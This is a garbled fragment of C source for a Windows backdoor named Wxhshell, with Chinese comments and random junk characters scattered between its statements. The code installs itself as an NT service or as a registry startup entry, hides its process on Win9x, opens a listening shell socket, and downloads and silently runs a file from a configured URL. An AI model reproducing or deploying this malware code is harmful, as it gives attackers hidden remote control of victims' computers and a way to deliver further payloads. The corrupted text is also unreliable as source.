<(NM6? U`(ee*}o CloseHandle(hProcess); *SJ_z(CZm EU/C@B2*Dl hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _}Ac n$ if(hProcess==NULL) return 0; %v
M-mbX C2kPMB=Xo HMODULE hMod; J/y83@ char procName[255]; ,q`\\d unsigned long cbNeeded; b|:YIXml ~g]Vw4pv if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;WQve_\ Ua: sye CloseHandle(hProcess); gD@){Ip JYI,N if(strstr(procName,"services")) return 1; // 以服务启动 {UI+$/v# N)X3XTY return 0; // 注册表启动 xef% d
G. } g
wRZ%.Cn |tH4:%Q' // 主模块 Q~
w|# int StartWxhshell(LPSTR lpCmdLine) Rsm^Z!sn { yS'I[l SOCKET wsl; -$ls(oot BOOL val=TRUE; 4SxX3Fw int port=0; q"lSZ;
'E struct sockaddr_in door; <dtGK~_ 6@5+m
0`u3 if(wscfg.ws_autoins) Install(); >1Ibc=}g E<Y$>uKA port=atoi(lpCmdLine); GR_-9}jQP (mpNcOY<D if(port<=0) port=wscfg.ws_port; z43M]P< m=:9+z WSADATA data; x=P\qjSa if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; By!o3}~g m+[Ux{$ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 'rkdZ=x{ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zR:L!S door.sin_family = AF_INET; A |4[vz9>H door.sin_addr.s_addr = inet_addr("127.0.0.1"); rglXs door.sin_port = htons(port); U?Zq6_M& Ffz,J6b if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1.GQau~ closesocket(wsl); 7>%8eEc return 1; i-_mTY&M } {%H'z$|{ BX7kO0j if(listen(wsl,2) == INVALID_SOCKET) { D/&o&G96 closesocket(wsl); T.BW H2gRP return 1; zTSTEOP}%Y } XNkn|q2 Wxhshell(wsl); !*N@ZL&X WSACleanup(); Bnxm HGP#& F^;ez/Gl return 0; gR;i(81U wlqksG[B } 8OU\V5i[,q 7`'Tb p // 以NT服务方式启动 "<1{9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g8% &RG { ##>H&,Dp[ DWORD status = 0; dR,fXQm DWORD specificError = 0xfffffff; ;4|15S *^ZV8c} serviceStatus.dwServiceType = SERVICE_WIN32; S4z;7z(8+ serviceStatus.dwCurrentState = SERVICE_START_PENDING; S2&4g/ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n Dxz~8 serviceStatus.dwWin32ExitCode = 0; H<,gU`&R serviceStatus.dwServiceSpecificExitCode = 0; !pX>!&sb serviceStatus.dwCheckPoint = 0; `M8i92V\qY serviceStatus.dwWaitHint = 0; m;QMQeGz H*CW1([ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2E'UZ
m if (hServiceStatusHandle==0) return; `d}2O%P jQB9j status = GetLastError(); x s|FE3:a if (status!=NO_ERROR) '~=SzO { /a4{?? #e serviceStatus.dwCurrentState = SERVICE_STOPPED; XW]tnrs serviceStatus.dwCheckPoint = 0; 8{sGNCvU serviceStatus.dwWaitHint = 0; x7[BK_SY serviceStatus.dwWin32ExitCode = status; 0\P1; ak% serviceStatus.dwServiceSpecificExitCode = specificError; Ad_hKO SetServiceStatus(hServiceStatusHandle, &serviceStatus); M8(t'jN return; 4H&+dRI" } eng'X-x jNk%OrP] serviceStatus.dwCurrentState = SERVICE_RUNNING; C LRdm^B serviceStatus.dwCheckPoint = 0; ZD{LXJ{Vm serviceStatus.dwWaitHint = 0; q(84+{>B if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4^:=xL } "4{r6[dn wf<M)Rs| // 处理NT服务事件,比如:启动、停止 }BP;1y6-r VOID WINAPI NTServiceHandler(DWORD fdwControl) KbeC"mi { 8$}<, c( switch(fdwControl) ]c'A%:f< { C?eH]hkZ3 case SERVICE_CONTROL_STOP: N~'c_l serviceStatus.dwWin32ExitCode = 0; D*d]aC serviceStatus.dwCurrentState = SERVICE_STOPPED; ]t"Ss_, serviceStatus.dwCheckPoint = 0; PEZ!n.'S serviceStatus.dwWaitHint = 0; E7hY8#G { 4o[{>gW SetServiceStatus(hServiceStatusHandle, &serviceStatus); sfl<qD+? } \'O"~W return; nBYZ}L q case SERVICE_CONTROL_PAUSE: w``U=sfmV serviceStatus.dwCurrentState = SERVICE_PAUSED; Qo|\-y-# break; m)v&v6 case SERVICE_CONTROL_CONTINUE: u>vL/nI serviceStatus.dwCurrentState = SERVICE_RUNNING; (#c:b break; 9hyn`u. case SERVICE_CONTROL_INTERROGATE: )8ZH-|N`!E break; qJ-/7-$ ^ }; jnwu9PQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); TB31-
() } La[V$+Y 3ckclO\|> // 标准应用程序主函数 `Urhy#LC int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) < =IFcN { 7b+6%fV ?}Y]|c^W // 获取操作系统版本 YN5rml'- OsIsNt=GetOsVer(); d&>^&>?$zh GetModuleFileName(NULL,ExeFile,MAX_PATH); 5)X=*I cFX p // 从命令行安装 GTHt'[t@; if(strpbrk(lpCmdLine,"iI")) Install(); $%f&a3# I7]8Y=xf // 下载执行文件 N?8!3&TiV if(wscfg.ws_downexe) { f
_:A0 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Zv{'MIv&v WinExec(wscfg.ws_filenam,SW_HIDE); n `Ac 3A } #KvlYZ+1 CWKm(@"5 if(!OsIsNt) { (/$^uWj // 如果时win9x,隐藏进程并且设置为注册表启动 RxQ * HideProc(); E"IZ6)Q StartWxhshell(lpCmdLine); UPGtj"2v- } h{qgEIk& else uXiN~j &Be if(StartFromService())
BTxrp // 以服务方式启动 VIbq:U StartServiceCtrlDispatcher(DispatchTable); DHRlWQox else C,eu9wOT // 普通方式启动 yf,z$CR StartWxhshell(lpCmdLine); ~}Pfu Vjpy~iP4B return 0; n=q76W\ }
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